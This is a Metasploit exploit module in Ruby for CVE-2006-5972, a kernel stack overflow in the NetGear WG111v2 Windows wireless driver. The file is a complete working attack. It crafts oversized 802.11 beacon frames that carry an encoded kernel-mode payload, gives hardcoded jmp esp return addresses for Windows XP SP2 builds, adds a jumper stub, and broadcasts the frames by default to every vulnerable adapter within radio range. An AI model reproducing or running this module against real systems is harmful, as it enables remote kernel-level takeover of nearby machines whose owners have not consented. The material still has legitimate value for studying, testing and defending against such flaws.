224 lines
6.2 KiB
Ruby
224 lines
6.2 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Msf::Exploit::Lorcon2
|
|
include Msf::Exploit::KernelMode
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'NetGear WG111v2 Wireless Driver Long Beacon Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack overflow in the NetGear WG111v2 wireless
|
|
device driver. This stack overflow allows remote code execution in kernel mode.
|
|
The stack overflow is triggered when a 802.11 Beacon frame is received that
|
|
contains more than 1100 bytes worth of information elements.
|
|
|
|
This exploit was tested with version 5.1213.6.316 of the WG111v2.SYS driver and
|
|
a NetGear WG111v2 USB adapter. Since this vulnerability is exploited via beacon frames,
|
|
all cards within range of the attack will be affected. The tested adapter used
|
|
a MAC address in the range of 00:18:4d:02:XX:XX.
|
|
|
|
Vulnerable clients will need to have their card in a non-associated state
|
|
for this exploit to work. The easiest way to reproduce this bug is by starting
|
|
the exploit and then unplugging and reinserting the USB card. The exploit can
|
|
take up to a minute to execute the payload, depending on system activity.
|
|
|
|
NetGear was NOT contacted about this flaw. A search of the SecurityFocus
|
|
database indicates that NetGear has not provided an official patch or
|
|
solution for any of the thirty flaws listed at the time of writing. This list
|
|
includes BIDs: 1010, 3876, 4024, 4111, 5036, 5667, 5830, 5943, 5940, 6807, 7267, 7270,
|
|
7371, 7367, 9194, 10404, 10459, 10585, 10935, 11580, 11634, 12447, 15816, 16837,
|
|
16835, 19468, and 19973.
|
|
|
|
This module depends on the Lorcon2 library and only works on the Linux platform
|
|
with a supported wireless card. Please see the Ruby Lorcon2 documentation
|
|
(external/ruby-lorcon/README) for more information.
|
|
},
|
|
|
|
'Author' =>
|
|
[
|
|
'hdm'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
['CVE', '2006-5972'],
|
|
['OSVDB', '30473'],
|
|
['URL', 'http://projects.info-pull.com/mokb/MOKB-16-11-2006.html'],
|
|
],
|
|
'Privileged' => true,
|
|
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
},
|
|
|
|
'Payload' =>
|
|
{
|
|
# Its a beautiful day in the neighborhood...
|
|
'Space' => 1000,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Windows XP SP2 with the latest updates
|
|
# 5.1.2600.2622 (xpsp_sp2_gdr.050301-1519)
|
|
[ 'Windows XP SP2 (5.1.2600.2122), WG111v2.SYS 5.1213.6.316',
|
|
{
|
|
'Ret' => 0x80502d7f, # jmp esp
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'ExtendedOptions' =>
|
|
{
|
|
'Stager' => 'sud_syscall_hook',
|
|
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
|
'Recovery' => 'idlethread_restart',
|
|
'KiIdleLoopAddress' => 0x804dbb27,
|
|
}
|
|
}
|
|
}
|
|
],
|
|
|
|
# Windows XP SP2 install media, no patches
|
|
# 5.1.2600.2180 (xpsp_sp2_rtm_040803-2158)
|
|
[ 'Windows XP SP2 (5.1.2600.2180), WG111v2.SYS 5.1213.6.316',
|
|
{
|
|
'Ret' => 0x804ed5cb, # jmp esp
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'ExtendedOptions' =>
|
|
{
|
|
'Stager' => 'sud_syscall_hook',
|
|
'PrependUser' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
|
'Recovery' => 'idlethread_restart',
|
|
'KiIdleLoopAddress' => 0x804dc0c7,
|
|
}
|
|
}
|
|
}
|
|
]
|
|
],
|
|
|
|
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']),
|
|
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
open_wifi
|
|
|
|
stime = Time.now.to_i
|
|
rtime = datastore['RUNTIME'].to_i
|
|
count = 0
|
|
|
|
print_status("Sending exploit beacons for #{datastore['RUNTIME']} seconds...")
|
|
while (stime + rtime > Time.now.to_i)
|
|
wifi.write(create_beacon)
|
|
select(nil, nil, nil, 0.10) if (count % 100 == 0)
|
|
|
|
count += 1
|
|
|
|
# Exit if we get a session
|
|
break if session_created?
|
|
end
|
|
|
|
print_status("Completed sending beacons.")
|
|
end
|
|
|
|
# Convert arbitrary data into a series of information elements
|
|
def ie_padding(data)
|
|
ret = 0
|
|
idx = 0
|
|
len = 0
|
|
|
|
while(idx < data.length)
|
|
len = data[idx+1]
|
|
if (! len)
|
|
data << "\x00"
|
|
len = 0
|
|
end
|
|
|
|
idx += len + 2
|
|
end
|
|
|
|
data << yield(idx - data.length)
|
|
end
|
|
|
|
def create_beacon
|
|
|
|
ssid = rand_text_alphanumeric(16)
|
|
bssid = ("\x00" * 2) + rand_text(4)
|
|
src = ("\x00" * 2) + rand_text(4)
|
|
seq = [rand(255)].pack('n')
|
|
stamp = rand_text(8)
|
|
|
|
frame =
|
|
"\x80" + # type/subtype
|
|
"\x00" + # flags
|
|
"\x00\x00" + # duration
|
|
eton(datastore['ADDR_DST']) + # dst
|
|
src + # src
|
|
bssid + # bssid
|
|
seq + # seq
|
|
stamp + # timestamp value
|
|
"\x64\x00" + # beacon interval
|
|
rand_text(2) + # capability flags
|
|
|
|
# ssid tag
|
|
"\x00" + ssid.length.chr + ssid +
|
|
|
|
# supported rates
|
|
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
|
|
|
|
# current channel
|
|
"\x03" + "\x01" + channel.chr
|
|
|
|
# Bounce through EDI to the uncorrupted payload
|
|
jumper =
|
|
"\x6a\x39" + # push byte +0x39
|
|
"\x58" + # pop eax
|
|
"\x01\xc7" + # add edi, eax
|
|
"\xff\xe7" # jmp edi
|
|
|
|
# Overwrite enough to pop the return
|
|
buf = rand_text(1160)
|
|
|
|
# Kernel-mode stager fun goes here
|
|
buf[0, payload.encoded.length] = payload.encoded
|
|
|
|
# Return address is a jmp ESP
|
|
buf[1101, 4] = [ target.ret ].pack('V')
|
|
|
|
# Jump back to EDI + 0x39
|
|
buf[1113, jumper.length] = jumper
|
|
|
|
# Pad it out to be a valid set of IEs
|
|
frame << ie_padding(buf) {|c| rand_text(c) }
|
|
|
|
return frame
|
|
end
|
|
|
|
end
|